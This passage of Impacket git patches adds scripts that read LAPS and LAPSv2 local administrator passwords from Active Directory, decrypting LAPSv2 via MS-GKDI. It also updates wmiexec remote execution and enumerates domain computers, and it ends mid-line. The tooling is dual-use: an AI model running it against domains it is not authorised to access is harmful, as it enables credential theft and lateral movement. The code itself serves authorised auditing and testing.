operatingSystemVersion + operatingSystemVersion = attribute['vals'][0].asOctets().decode('utf-8') + print((self.__outputFormat.format(*[sAMAccountName, dNSHostName, operatingSystemVersion,operatingSystem,resolvedIPAddress]))) + + else: #won't resolve the IP address + for attribute in item['attributes']: + if str(attribute['type']) == 'sAMAccountName': + if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is True: + # sAMAccountName + sAMAccountName = attribute['vals'][0].asOctets().decode('utf-8') + if str(attribute['type']) == 'dNSHostName': + if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False: + # dNSHostName + dNSHostName = attribute['vals'][0].asOctets().decode('utf-8') + if str(attribute['type']) == 'operatingSystem': + if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False: + # operatingSystem + operatingSystem = attribute['vals'][0].asOctets().decode('utf-8') + if str(attribute['type']) == 'operatingSystemVersion': + if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False: + # operatingSystemVersion + operatingSystemVersion = attribute['vals'][0].asOctets().decode('utf-8') + print((self.__outputFormat.format(*[sAMAccountName, dNSHostName, operatingSystemVersion,operatingSystem]))) + + + + except Exception as e: + logging.debug("Exception", exc_info=True) + logging.error('Skipping item, cannot process due to error %s' % str(e)) + pass + + def run(self): + if self.__kdcHost is not None: + self.__target = self.__kdcHost + else: + if self.__kdcIP is not None: + self.__target = self.__kdcIP + else: + self.__target = self.__domain + + if self.__doKerberos: + logging.info('Getting machine hostname') + self.__target = self.getMachineName(self.__target) + + + # Connect to LDAP + try: + ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcIP) + except ldap.LDAPSessionError as e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcIP) + else: + if str(e).find('NTLMAuthNegotiate') >= 0: + logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos " + "authentication instead.") + else: + if self.__kdcIP is not None and self.__kdcHost is not None: + logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They " + "must match exactly each other.") + raise + + logging.info('Querying %s for information about domain.' % self.__target) + # Print header + print((self.__outputFormat.format(*self.__header))) + print((' '.join(['-' * itemLen for itemLen in self.__colLen]))) + + # Building the search filter + #searchFilter = '(objectCategory=computer)' + searchFilter = '(&(objectCategory=computer)(objectClass=computer))' + + try: + logging.debug('Search Filter=%s' % searchFilter) + sc = ldap.SimplePagedResultsControl(size=100) + + ldapConnection.search(searchFilter=searchFilter,attributes=['sAMAccountName','dNSHostName','operatingSystem','operatingSystemVersion'],sizeLimit=0, searchControls = [sc], perRecordCallback=self.processRecord) + + except ldap.LDAPSearchError: + raise + + ldapConnection.close() + +# Process command-line arguments. +if __name__ == '__main__': + print((version.BANNER)) + + parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for computer data") + + parser.add_argument('target', action='store', help='domain[/username[:password]]') + parser.add_argument('-user', action='store', metavar='username', help='Requests data for specific user ') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-resolveIP', action='store_true', help='Tries to resolve the IP address of computer objects, by performing the nslookup on the DC.') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) ' + 'specified in the target parameter') + group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. ' + 'If ommited, the domain part (FQDN) ' + 'specified in the account parameter will be used') + + + + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password = parse_credentials(options.target) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + try: + executer = GetADComputers(username, password, domain, options) + executer.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) diff --git a/examples/readLAPS.py b/examples/readLAPS.py new file mode 100644 index 0000000000..f825d3218f --- /dev/null +++ b/examples/readLAPS.py @@ -0,0 +1,275 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# Copyright (C) 2024 Fortra. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# This script will try to read the LAPS password in the current domain of specified user. +# +# +# Author: +# Fowz Masood (https://www.linkedin.com/in/f-masood/) +# Please let me know of any improvements / suggestions or bugs. +# Attributes searched in DC are: ms-Mcs-AdmPwd (password value) and ms-Mcs-AdmPwdExpirationTime (password expiry time) +# +# Reference for: +# LDAP +# + +from __future__ import division +from __future__ import print_function +from __future__ import unicode_literals +import argparse +import logging +import sys +import dns.resolver +from datetime import datetime + +from impacket import version +from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.ldap import ldap, ldapasn1 +from impacket.smbconnection import SMBConnection, SessionError + + +class readLAPS: + def __init__(self, username, password, domain, cmdLineOptions): + self.options = cmdLineOptions + self.__username = username + self.__password = password + self.__domain = domain + self.__target = None + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = cmdLineOptions.aesKey + self.__doKerberos = cmdLineOptions.k + #[!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost + self.__kdcIP = cmdLineOptions.dc_ip + self.__kdcHost = cmdLineOptions.dc_host + self.__requestUser = cmdLineOptions.user + self.__targetComputer=cmdLineOptions.targetComputer + + if cmdLineOptions.hashes is not None: + self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') + + # Create the baseDN + domainParts = self.__domain.split('.') + self.baseDN = '' + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + + # Let's calculate the header and format + self.__header = ["SAM AcctName", "DNS Hostname", "Password", "Password Expiration (EPOCH:UnixTimeStamp)"] + # Since we won't process all rows at once, this will be fixed lengths + self.__colLen = [15, 35, 30, 40] + self.__outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(self.__colLen)]) + + + + def getMachineName(self, target): + try: + s = SMBConnection(target, target) + s.login('', '') + except OSError as e: + if str(e).find('timed out') > 0: + raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify ' + 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') + else: + raise + except SessionError as e: + if str(e).find('STATUS_NOT_SUPPORTED') > 0: + raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify ' + 'corresponding NetBIOS name or FQDN as the value of the -dc-host option') + else: + raise + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % target) + else: + s.logoff() + return s.getServerName() + + @staticmethod + def getUnixTime(t): + t -= 116444736000000000 + t /= 10000000 + return t + + def processRecord(self, item): + if isinstance(item, ldapasn1.SearchResultEntry) is not True: + return + sAMAccountName = '' + dNSHostName = '' + password = '' + passwordExpiration = '' + unixTS = '' + try: + for attribute in item['attributes']: + #print (str(attribute)) - for debugging + + if str(attribute['type']) == 'sAMAccountName': + if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is True: + # sAMAccountName + sAMAccountName = attribute['vals'][0].asOctets().decode('utf-8') + if str(attribute['type']) == 'dNSHostName': + if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False: + # dNSHostName + dNSHostName = attribute['vals'][0].asOctets().decode('utf-8') + + if str(attribute['type']) == 'ms-Mcs-AdmPwd': + # getPassword + password = attribute['vals'][0].asOctets().decode('utf-8') + + if str(attribute['type']) == 'ms-Mcs-AdmPwdExpirationTime': + if attribute['vals'][0].asOctets().decode('utf-8').endswith('$') is False: + # passwordExpiration + passwordExpiration = attribute['vals'][0].asOctets().decode('utf-8') + unixTS = convertedTime = datetime.fromtimestamp((int(str(passwordExpiration))/10000000) - 11644473600).strftime("%d-%B-%Y") + print((self.__outputFormat.format(*[sAMAccountName,dNSHostName,password,passwordExpiration+' : '+unixTS]))) + + + + except Exception as e: + logging.debug("Exception", exc_info=True) + logging.error('Skipping item, cannot process due to error %s' % str(e)) + pass + + def run(self): + if self.__kdcHost is not None: + self.__target = self.__kdcHost + else: + if self.__kdcIP is not None: + self.__target = self.__kdcIP + else: + self.__target = self.__domain + + if self.__doKerberos: + logging.info('Getting machine hostname') + self.__target = self.getMachineName(self.__target) + + + # Connect to LDAP + try: + ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcIP) + except ldap.LDAPSessionError as e: + if str(e).find('strongerAuthRequired') >= 0: + # We need to try SSL + ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP) + if self.__doKerberos is not True: + ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) + else: + ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, + self.__aesKey, kdcHost=self.__kdcIP) + else: + if str(e).find('NTLMAuthNegotiate') >= 0: + logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos " + "authentication instead.") + else: + if self.__kdcIP is not None and self.__kdcHost is not None: + logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They " + "must match exactly each other.") + raise + + logging.info('Querying %s for information about domain.' % self.__target) + # Print header + print((self.__outputFormat.format(*self.__header))) + print((' '.join(['-' * itemLen for itemLen in self.__colLen]))) + + # Building the search filter + if(self.__targetComputer): + searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=' + self.__targetComputer + '))' + else: + searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*))' + try: + logging.debug('Search Filter=%s' % searchFilter) + sc = ldap.SimplePagedResultsControl(size=100) + + ldapConnection.search(searchFilter=searchFilter,attributes=['sAMAccountName','dNSHostName','ms-MCS-AdmPwd','ms-Mcs-AdmPwdExpirationTime'],sizeLimit=0, searchControls = [sc], perRecordCallback=self.processRecord) + #result = ldapConnection.search(searchFilter=searchFilter,attributes=['sAMAccountName', 'cn'],sizeLimit=0, searchControls = [sc]) + #print (result) + + except ldap.LDAPSearchError: + raise + + ldapConnection.close() + +# Process command-line arguments. +if __name__ == '__main__': + print((version.BANNER)) + + parser = argparse.ArgumentParser(add_help = True, description = "Queries computer in the domain to read LAPS.") + + parser.add_argument('target', action='store', help='domain[/username[:password]]') + parser.add_argument('-user', action='store', metavar='username', help='Requests data for specific user ') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + parser.add_argument('-targetComputer', action='store', metavar='SamAccountName of target computer', help='Specify the target computer samAccountName including the character $') + + group = parser.add_argument_group('authentication') + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' + '(KRB5CCNAME) based on target parameters. If valid credentials ' + 'cannot be found, it will use the ones specified in the command ' + 'line') + group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' + '(128 or 256 bits)') + + group = parser.add_argument_group('connection') + group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If ' + 'ommited it use the domain part (FQDN) ' + 'specified in the target parameter') + group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. ' + 'If ommited, the domain part (FQDN) ' + 'specified in the account parameter will be used') + + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + # Init the example's logger theme + logger.init(options.ts) + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password = parse_credentials(options.target) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + password = getpass("Password:") + + if options.aesKey is not None: + options.k = True + + try: + executer = readLAPS(username, password, domain, options) + executer.run() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + logging.error(str(e)) From 3ee3bb46d70d21dce3308f03ba13ef2f79861658 Mon Sep 17 00:00:00 2001 From: Gabriel Gonzalez Date: Mon, 4 Mar 2024 18:22:37 -0300 Subject: [PATCH 12/49] Change desiredAccess to MAXIMUM_ALLOWED when getting user_handle in net.py. We could receive ACCESS_DENIED if authenticated user was not admin with previous value (USER_ALL_ACCESS) (#1708) --- examples/net.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/net.py b/examples/net.py index e2f5e50129..c1eec5b75b 100644 --- a/examples/net.py +++ b/examples/net.py @@ -102,7 +102,7 @@ def _get_object_rid(self, domain_handle, object_name): def _get_user_handle(self, domain_handle, username): user_rid = self._get_object_rid(domain_handle, username) - response = samr.hSamrOpenUser(self._dce, domain_handle, samr.USER_ALL_ACCESS, user_rid) + response = samr.hSamrOpenUser(self._dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid) return response['UserHandle'] def _get_group_handle(self, domain_handle, alias_name): From 4a62f391cf2c5e60577e0138b01df4fec735d5ed Mon Sep 17 00:00:00 2001 From: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> Date: Sat, 9 Mar 2024 03:44:15 +0800 Subject: [PATCH 13/49] [DCOM] Fix kerberos with remoteHost & add '-target-ip' for wmiexec.py (#1710) Signed-off-by: XiaoliChan <30458572+XiaoliChan@users.noreply.github.com> --- examples/wmiexec.py | 15 +++++++++++---- impacket/dcerpc/v5/dcomrt.py | 18 ++++++++++++++---- 2 files changed, 25 insertions(+), 8 deletions(-) diff --git a/examples/wmiexec.py b/examples/wmiexec.py index 26144ece23..b3b5252361 100755 --- a/examples/wmiexec.py +++ b/examples/wmiexec.py @@ -49,7 +49,7 @@ class WMIEXEC: def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None, - noOutput=False, doKerberos=False, kdcHost=None, shell_type=None): + noOutput=False, doKerberos=False, kdcHost=None, remoteHost="", shell_type=None): self.__command = command self.__username = username self.__password = password @@ -61,6 +61,7 @@ def __init__(self, command='', username='', password='', domain='', hashes=None, self.__noOutput = noOutput self.__doKerberos = doKerberos self.__kdcHost = kdcHost + self.__remoteHost = remoteHost self.__shell_type = shell_type self.shell = None if hashes is not None: @@ -68,7 +69,7 @@ def __init__(self, command='', username='', password='', domain='', hashes=None, def run(self, addr, silentCommand=False): if self.__noOutput is False and silentCommand is False: - smbConnection = SMBConnection(addr, addr) + smbConnection = SMBConnection(addr, self.__remoteHost) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: @@ -88,7 +89,7 @@ def run(self, addr, silentCommand=False): smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, - self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) + self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, remoteHost=self.__remoteHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) @@ -393,6 +394,9 @@ def load_smbclient_auth_file(path): '(128 or 256 bits)') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' 'ommited it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') group.add_argument('-A', action="store", metavar="authfile", help="smbclient/mount.cifs-style authentication file. " "See smbclient man page's -A option.") group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file') @@ -442,6 +446,9 @@ def load_smbclient_auth_file(path): logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % ( repr(domain), repr(username), repr(password))) + if options.target_ip is None: + options.target_ip = address + if domain is None: domain = '' @@ -458,7 +465,7 @@ def load_smbclient_auth_file(path): options.k = True executer = WMIEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey, - options.share, options.nooutput, options.k, options.dc_ip, options.shell_type) + options.share, options.nooutput, options.k, options.dc_ip, options.target_ip, options.shell_type) executer.run(address, options.silentcommand) except KeyboardInterrupt as e: logging.error(str(e)) diff --git a/impacket/dcerpc/v5/dcomrt.py b/impacket/dcerpc/v5/dcomrt.py index 04c862f047..489af67e67 100644 --- a/impacket/dcerpc/v5/dcomrt.py +++ b/impacket/dcerpc/v5/dcomrt.py @@ -964,7 +964,7 @@ class DCOMConnection: PORTMAPS = {} def __init__(self, target, username='', password='', domain='', lmhash='', nthash='', aesKey='', TGT=None, TGS=None, - authLevel=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, oxidResolver=False, doKerberos=False, kdcHost=None): + authLevel=RPC_C_AUTHN_LEVEL_PKT_PRIVACY, oxidResolver=False, doKerberos=False, kdcHost=None, remoteHost=None): self.__target = target self.__userName = username self.__password = password @@ -979,6 +979,7 @@ def __init__(self, target, username='', password='', domain='', lmhash='', nthas self.__oxidResolver = oxidResolver self.__doKerberos = doKerberos self.__kdcHost = kdcHost + self.__remoteHost = remoteHost self.initConnection() @classmethod @@ -1059,6 +1060,10 @@ def initConnection(self): stringBinding = r'ncacn_ip_tcp:%s' % self.__target rpctransport = transport.DCERPCTransportFactory(stringBinding) + if self.__remoteHost: + rpctransport.setRemoteHost(self.__remoteHost) + rpctransport.setRemoteName(self.__target) + if hasattr(rpctransport, 'set_credentials') and len(self.__userName) >=0: # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__userName, self.__password, self.__domain, self.__lmhash, self.__nthash, @@ -1286,6 +1291,11 @@ def connect(self, iid = None): raise Exception('Can\'t find a valid stringBinding to connect') dcomInterface = transport.DCERPCTransportFactory(stringBinding) + + if DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().get_kerberos(): + dcomInterface.setRemoteHost(DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().getRemoteHost()) + dcomInterface.setRemoteName(DCOMConnection.PORTMAPS[self.__target].get_rpc_transport().getRemoteName()) + if hasattr(dcomInterface, 'set_credentials'): # This method exists only for selected protocol sequences. dcomInterface.set_credentials(*DCOMConnection.PORTMAPS[self.__target].get_credentials()) @@ -1584,7 +1594,7 @@ def RemoteActivation(self, clsId, iid): classInstance = CLASS_INSTANCE(ORPCthis, stringBindings) return IRemUnknown2(INTERFACE(classInstance, b''.join(resp['ppInterfaceData'][0]['abData']), ipidRemUnknown, - target=self.__portmap.get_rpc_transport().getRemoteHost())) + target=self.__portmap.get_rpc_transport().getRemoteName())) # 3.1.2.5.2.2 IRemoteSCMActivator Methods @@ -1750,7 +1760,7 @@ def RemoteGetClassObject(self, clsId, iid): classInstance.set_auth_level(scmr['remoteReply']['authnHint']) classInstance.set_auth_type(self.__portmap.get_auth_type()) return IRemUnknown2(INTERFACE(classInstance, b''.join(propsOut['ppIntfData'][0]['abData']), ipidRemUnknown, - target=self.__portmap.get_rpc_transport().getRemoteHost())) + target=self.__portmap.get_rpc_transport().getRemoteName())) def RemoteCreateInstance(self, clsId, iid): # Only supports one interface at a time @@ -1914,4 +1924,4 @@ def RemoteCreateInstance(self, clsId, iid): classInstance.set_auth_level(scmr['remoteReply']['authnHint']) classInstance.set_auth_type(self.__portmap.get_auth_type()) return IRemUnknown2(INTERFACE(classInstance, b''.join(propsOut['ppIntfData'][0]['abData']), ipidRemUnknown, - target=self.__portmap.get_rpc_transport().getRemoteHost())) + target=self.__portmap.get_rpc_transport().getRemoteName())) From 0d2b72ae979bebaf8167a9bafa597fa1a0a6bfb5 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Mon, 18 Mar 2024 17:20:10 -0400 Subject: [PATCH 14/49] Fix: undo untested breaking changes from #1311 that change getErrorString (#1714) * fix(nterrors): undo untested breaking changes from #1311 that change getErrorString for nt_status errors * fix(nt_errors): had incorrect older reference, updated to nt_errors * Update impacket/krb5/kerberosv5.py Co-authored-by: Gabriel Gonzalez --------- Co-authored-by: Gabriel Gonzalez --- impacket/krb5/kerberosv5.py | 2 +- impacket/smbconnection.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/impacket/krb5/kerberosv5.py b/impacket/krb5/kerberosv5.py index d81af85904..1375091056 100644 --- a/impacket/krb5/kerberosv5.py +++ b/impacket/krb5/kerberosv5.py @@ -712,7 +712,7 @@ def getErrorPacket( self ): return self.packet def getErrorString( self ): - return str(self) + return constants.ERROR_MESSAGES[self.error] def __str__( self ): retString = 'Kerberos SessionError: %s(%s)' % (constants.ERROR_MESSAGES[self.error]) diff --git a/impacket/smbconnection.py b/impacket/smbconnection.py index 58c1e51b27..bcc8031f89 100644 --- a/impacket/smbconnection.py +++ b/impacket/smbconnection.py @@ -986,7 +986,7 @@ def getErrorPacket( self ): return self.packet def getErrorString( self ): - return str(self) + return nt_errors.ERROR_MESSAGES[self.error] def __str__( self ): key = self.error From 7e25245e381a54045f5b039de9f7f9050f6c3c3c Mon Sep 17 00:00:00 2001 From: zblurx <68540460+zblurx@users.noreply.github.com> Date: Wed, 20 Mar 2024 23:19:45 +0100 Subject: [PATCH 15/49] Implement MS-GKDI and LAPSv2 password extraction (#1556) * add MS-GKDI * update gkdi * Update getLAPSv2Password.py * Added GetLAPSPassword to examples. (#1) * Added GetLAPSPassword to examples. * update GetLapsPassword * Add LAPSv2 column --------- Co-authored-by: dru1d Co-authored-by: zblurx * update GetLAPSPassword.py * Added tab delimited outputfile option (#2) Co-authored-by: dru1d * fix requirements.txt --------- Co-authored-by: Tyler <4245930+dru1d-foofus@users.noreply.github.com> Co-authored-by: dru1d Co-authored-by: = <=> --- examples/GetLAPSPassword.py | 367 ++++++++++++++++++++++++++++++++++++ impacket/dcerpc/v5/epm.py | 2 +- impacket/dcerpc/v5/gkdi.py | 213 +++++++++++++++++++++ impacket/dpapi_ng.py | 345 +++++++++++++++++++++++++++++++++ requirements.txt | 1 + setup.py | 3 +- 6 files changed, 929 insertions(+), 2 deletions(-) create mode 100755 examples/GetLAPSPassword.py create mode 100644 impacket/dcerpc/v5/gkdi.py create mode 100644 impacket/dpapi_ng.py diff --git a/examples/GetLAPSPassword.py b/examples/GetLAPSPassword.py new file mode 100755 index 0000000000..1177eeec3c --- /dev/null +++ b/examples/GetLAPSPassword.py @@ -0,0 +1,367 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# Copyright (C) 2023 Fortra. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# This script will gather data about the domain's computers and their LAPS/LAPSv2 passwords. +# Initial formatting for this tool came from the GetADUsers.py example script. +# +# Author(s): +# Thomas Seigneuret (@zblurx) +# Tyler Booth (@dru1d-foofus) +# +# Reference for: +# LDAP +# + +from __future__ import division +from __future__ import print_function +from __future__ import unicode_literals +from datetime import datetime +from impacket import version +from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5.epm import hept_map +from impacket.dcerpc.v5.gkdi import MSRPC_UUID_GKDI, GkdiGetKey, GroupKeyEnvelope +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY +from impacket.dpapi_ng import EncryptedPasswordBlob, KeyIdentifier, compute_kek, create_sd, decrypt_plaintext, unwrap_cek +from impacket.examples import logger +from impacket.examples.utils import parse_credentials +from impacket.ldap import ldap, ldapasn1 +from impacket.smbconnection import SMBConnection, SessionError +from pyasn1.codec.der import decoder +from pyasn1_modules import rfc5652 +import argparse +import json +import logging +import sys + +class GetLAPSPassword: + @staticmethod + def printTable(items, header, outputfile): + colLen = [] + for i, col in enumerate(header): + rowMaxLen = max([len(row[i]) for row in items]) + colLen.append(max(rowMaxLen, len(col))) + + outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) + + # Print header + print(outputFormat.format(*header)) + print(' '.join(['-' * itemLen for itemLen in colLen])) + for row in items: + print(outputFormat.format(*row)) + + if outputfile: + with open(outputfile, 'w') as file: + outputFormat_file = '\t'.join(['{%d:%ds}' % (num, width) for num, width in enumerate(colLen)]) # Added tab delimited output for files + file.write(outputFormat_file.format(*header) + "\n") + for row in items: + file.write((outputFormat_file.format(*row)).strip() + "\n") # Removed extraneous field to clean up output saved to a file + + def __init__(self, username, password, domain, cmdLineOptions): + self.options = cmdLineOptions + self.__username = username + self.__password = password + self.__domain = domain + self.__target = None + self.__lmhash = '' + self.__nthash = '' + self.__aesKey = cmdLineOptions.aesKey + self.__doKerberos = cmdLineOptions.k + self.__kdcIP = cmdLineOptions.dc_ip + self.__kdcHost = cmdLineOptions.dc_host + self.__targetComputer = cmdLineOptions.computer + self.__outputFile = cmdLineOptions.outputfile + self.__KDSCache = {} + + if cmdLineOptions.hashes is not None: + self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') + + # Create the baseDN + domainParts = self.__domain.split('.') + self.baseDN = '' + for i in domainParts: + self.baseDN += 'dc=%s,' % i + # Remove last ',' + self.baseDN = self.baseDN[:-1] + + def getLAPSv2Decrypt(self, rawEncryptedLAPSBlob): + try: + encryptedLAPSBlob = EncryptedPasswordBlob(rawEncryptedLAPSBlob) + parsed_cms_data, remaining = decoder.decode(encryptedLAPSBlob['Blob'], asn1Spec=rfc5652.ContentInfo()) + enveloped_data_blob = parsed_cms_data['content'] + parsed_enveloped_data, _ = decoder.decode(enveloped_data_blob, asn1Spec=rfc5652.EnvelopedData()) + recipient_infos = parsed_enveloped_data['recipientInfos'] + kek_recipient_info = recipient_infos[0]['kekri'] + kek_identifier = kek_recipient_info['kekid'] + key_id = KeyIdentifier(bytes(kek_identifier['keyIdentifier'])) + tmp,_ = decoder.decode(kek_identifier['other']['keyAttr']) + sid = tmp['field-1'][0][0][1].asOctets().decode("utf-8") + target_sd = create_sd(sid) + laps_enabled = True + except Exception as e: + logging.error('Cannot unpack msLAPS-EncryptedPassword blob due to error %s' % str(e)) + # Check if item is in cache + if key_id['RootKeyId'] in self.__KDSCache: + gke = self.__KDSCache[key_id['RootKeyId']] + else: + # Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey + stringBinding = hept_map(destHost=self.__target, remoteIf=MSRPC_UUID_GKDI, protocol = 'ncacn_ip_tcp') + rpctransport = transport.DCERPCTransportFactory(stringBinding) + if hasattr(rpctransport, 'set_credentials'): + rpctransport.set_credentials(username=self.__username, password=self.__password, domain=self.__domain, lmhash=self.__lmhash, nthash=self.__nthash) + if self.__doKerberos: + rpctransport.set_kerberos(self.__doKerberos, kdcHost=self.__target) + if self.__kdcIP is not None: + rpctransport.setRemoteHost(self.__kdcIP) + rpctransport.setRemoteName(self.__target) + + dce = rpctransport.get_dce_rpc() + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + logging.debug("Connecting to %s" % stringBinding) + try: + dce.connect() + except Exception as e: + logging.error("Something went wrong, check error status => %s" % str(e)) + return laps_enabled + logging.debug("Connected") + try: + dce.bind(MSRPC_UUID_GKDI) + except Exception as e: + logging.error("Something went wrong, check error status => %s" % str(e)) + return laps_enabled + logging.debug("Successfully bound") + + + logging.debug("Calling MS-GKDI GetKey") + resp = GkdiGetKey(dce, target_sd=target_sd, l0=key_id['L0Index'], l1=key_id['L1Index'], l2=key_id['L2Index'], root_key_id=key_id['RootKeyId']) + # Unpack GroupKeyEnvelope + gke = GroupKeyEnvelope(b''.join(resp['pbbOut'])) + self.__KDSCache[gke['RootKeyId']] = 